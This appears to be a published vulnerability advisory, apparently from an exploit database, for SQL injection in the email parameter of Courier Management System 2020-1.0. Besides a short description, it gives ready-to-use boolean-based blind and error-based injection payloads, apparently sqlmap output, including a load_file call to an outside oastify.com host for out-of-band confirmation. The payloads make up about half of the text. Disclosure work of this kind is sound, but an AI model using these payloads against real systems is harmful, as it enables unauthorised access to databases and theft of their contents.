Courier Management System 2020-1.0 SQL Injection

`## Titles: courier-management-system-2020-1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 08/12/2024  
## Vendor: https://github.com/oretnom23  
## Software:  
https://www.sourcecodester.com/php/14611/courier-management-system-using-phpmysqli-source-code.html#comment-105424  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The email parameter appears to be vulnerable to SQL injection attacks. The  
payload '+(select load_file('\\\\  
031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+' was submitted  
in the email parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: email (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: [email protected]'+(select load_file('\\\\  
031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' OR NOT  
3092=3092 OR 'zgfp'='bQHN&password=d6I!n9y!D7  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: [email protected]'+(select load_file('\\\\  
031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' AND (SELECT  
8802 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT  
(ELT(8802=8802,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'dmho'='XBTr&password=d6I!n9y!D7  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/courier-system-1-109943338)  
  
## More:  
[href](  
https://www.nu11secur1ty.com/2024/08/courier-management-system-2020-10.html)  
  
## Time spent:  
01:00:00  
  
  
`